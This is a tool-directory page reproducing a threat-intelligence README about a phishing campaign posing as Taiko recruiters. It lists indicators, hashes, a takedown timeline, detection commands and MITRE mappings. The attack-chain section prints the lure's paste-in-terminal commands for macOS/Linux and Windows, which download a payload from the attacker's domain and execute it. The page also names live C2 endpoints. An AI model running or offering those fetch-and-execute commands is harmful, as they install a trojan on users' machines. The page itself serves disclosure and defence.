Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
taikotalent-phishing-iocs — IoCs, attack chain & detection for the taikotalent.xyz fake-Taiko-recruiter campaign delivering a self-deleting Bash trojan via the paste-in-terminal "anti-bot" trick. Payload still live as of 2026-10-09. | Kitploit
Tools/GitHubGitHub/eddyflores100-lang/taikotalent-phishing-iocs
Indicator of Compromise (IOC) ManagementForensicsPhishingMalware AnalysisSocial EngineeringThreat IntelligenceIncident ResponseEmail Security

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
eddyflores100-lang/taikotalent-phishing-iocs

taikotalent-phishing-iocs

IoCs, attack chain & detection for the taikotalent.xyz fake-Taiko-recruiter campaign delivering a self-deleting Bash trojan via the paste-in-terminal "anti-bot" trick. Payload still live as of 2026-10-09.

View RepositoryWebsite
354 days agoNot yet reviewed

taikotalent.xyz — Fake-Recruiter Terminal Trojan (IoCs & Detection)

STATUS: TAKEN DOWN. The malicious domain taikotalent.xyz was suspended by its registrar (clientHold) on 2026-10-10 at 02:39 UTC — ~12 hours after our evidence-backed follow-up to AWS abuse with the payload still live. Verified 2026-10-15 via RDAP and DNS. Details in the timeline below.

UPDATE 2026-10-15 — PHISHING DOMAIN TAKEN DOWN. taikotalent.xyz and hr.taikotalent.xyz now return NXDOMAIN (checked via DNS-over-HTTPS, 2026-10-15) — 10 days after the coordinated reports of Oct 5 (AWS case 179121234700301, NameCheap ticket NC-DFA-2100, 13 notified channels). The payload URLs (/verify_m, /verify_w) no longer resolve.

PARTIALLY RESOLVED — the C2 layer is still live: api.gaganata.ink (104.21.84.196 / 172.67.196.60) and api.fallgganata.ink still resolve behind Cloudflare and answer HTTP (404 on probe, 2026-10-15). Abuse reports for the gaganata.ink / fallgganata.ink domains remain pending with the registrar and Cloudflare (abuse form requires browser + Turnstile).

Status @ 2026-10-09 00:46 UTC (historical): payload still live — https://taikotalent.xyz/verify_m → HTTP 200, 49,916 bytes, byte-identical to the Oct 5 sample, 4+ days after the AWS abuse report.

A targeted phishing campaign impersonating Taiko (the Ethereum rollup company — real domain taiko.xyz, no affiliation with taikotalent.xyz) sends fake "Engineering opening" recruiting emails to open-source developers, harvested from their public GitHub profiles. The fake "application portal" ends in an "Anti-bot check with Terminal" page that talks the victim into pasting a downloader command into their own terminal — no exploit needed, the user executes the malware themselves.

Takedown timeline

Date (UTC)Event
2026-10-05Campaign received; sample quarantined; full forensic report sent (AWS case 179121234700301, Resend, Taiko)
2026-10-09Disclosure expanded: this repo, gist, dev.to, GitLab snippet, Telegraph; 9 more notifications incl. NameCheap abuse (→ ticket NC-DFA-2100), Softshellweb (payload host), Cloudflare (C2), APWG, OpenPhish, oss-security, 3 media outlets. Payload still byte-identical & live
2026-10-15taikotalent.xyz / hr.taikotalent.xyz → NXDOMAIN. Phishing infrastructure down 10 days after first report. C2 (api.gaganata.ink, api.fallgganata.ink) still resolving behind Cloudflare

Why this matters

  • The novel bit: the terminal-as-CAPTCHA social-engineering pattern — a fake anti-bot check that makes running the stager the "verification" step.
  • The accountability bit: reported through the correct channels on Oct 5 (AWS case number, Resend, Taiko) with a full forensic report; the trojan URL is still serving a byte-identical payload on Oct 9.
  • The trust bit: SPF and DKIM both pass — authentication proves control of an 8-day-old domain, not reputation. Mail gateways treating DMARC pass as safety are exposed.
  • The forensics bit: anti-forensic design — self-deleting stager, base64-embedded second stage at /var/tmp/.kdm.*, detached via perl double-fork, 60-retry cleanup loop.

Indicators of Compromise

TypeValueContext
Domaintaikotalent.xyzRegistered 2026-09-27 (Namecheap), 8 days before the campaign
Sending subdomainhr.taikotalent.xyzDKIM d=; MX → AWS SES inbound gateway
Sender[email protected]Fake identity "Joseph Quintana, Talent, Taiko"
Sending IP23.249.215.58d215-58.smtp-out.sa-east-1.amazonses.com (Amazon SES via Resend)
Portalhttps://taikotalent.xyz/"Private invitation" SPA, per-recipient Ref-codes (Ref-oxqgd77kb9zw14)
ExfiltrationPOST /track-activityDevice fingerprint + name/email/GitHub username at every form step
Payload (macOS/Linux)https://taikotalent.xyz/verify_m49,916 B bash stager "deepfake_guard" — LIVE 2026-10-09
Payload (Windows)https://taikotalent.xyz/verify_wv.cmd launcher, hidden window
C2https://api.gaganata.ink/guard-launcher-resultInstall-status beacon (Namecheap, Cloudflare-fronted)
C2 backuphttps://api.fallgganata.inkSecondary endpoint
Payload host IP193.160.32.10Shock Hosting (US-SHOCK1-20191118)
Second stage/var/tmp/.kdm.XXXXXXBase64-decoded embedded stage; anti-forensic self-delete

Key SHA-256 hashes

ArtifactSHA-256
verify_m quarantined 2026-10-05 (49,916 B)c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d
verify_m re-fetched LIVE 2026-10-09c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d (byte-identical)
Original phishing email (raw)84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564
Original .eml attachment (11,098 B)3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3
Forensic report PDF (17 pages, 201,044 B)d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c

Verify it yourself (non-destructive)

curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d   (do NOT execute the download)

Detection

YARA (see yara/bash_stager_taikotalent.yar)

Host compromise check (macOS/Linux):

ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null

Network: block/monitor egress to *.gaganata.ink, *.fallgganata.ink, taikotalent.xyz (incl. hr. subdomain).

Mail admins: treat SPF/DKIM pass from recently-registered domains as neutral — authentication ≠ reputation.

Attack chain

  1. Targeted email to a public GitHub contributor offering a Taiko engineering role, from [email protected] (DKIM s=resend d=hr.taikotalent.xyz, via Amazon SES sa-east-1, IP 23.249.215.58).
  2. "Private invitation" SPA portal with per-recipient Ref-codes; POST /track-activity exfiltrates device fingerprints at every step.
  3. "Anti-bot check with Terminal" page instructs pasting a command into the victim's own terminal:
    • macOS/Linux: perl -MPOSIX double-fork daemonization + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m
    • Windows: start -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'
  4. Stager deepfake_guard: relaunches detached via nohup, beacons to api.gaganata.ink/guard-launcher-result (fallback api.fallgganata.ink), decodes embedded base64 second stage to /var/tmp/.kdm.XXXXXX, executes it with C2 endpoints as env vars, then self-deletes launcher, status file and /var/tmp artifacts (60-retry anti-forensic loop).

MITRE ATT&CK

TechniqueName
T1566.002Spearphishing Link
T1656Impersonation
T1204.002User Execution: Malicious File (paste-in-terminal)
T1059.004Command & Scripting: Unix Shell
T1027Obfuscated Files (base64 second stage)
T1071.001Application Layer Protocol: Web (beacon)
T1070.004Indicator Removal: File Deletion (self-delete)
T1583.001Acquire Infrastructure: Domains

Timeline

Download Tool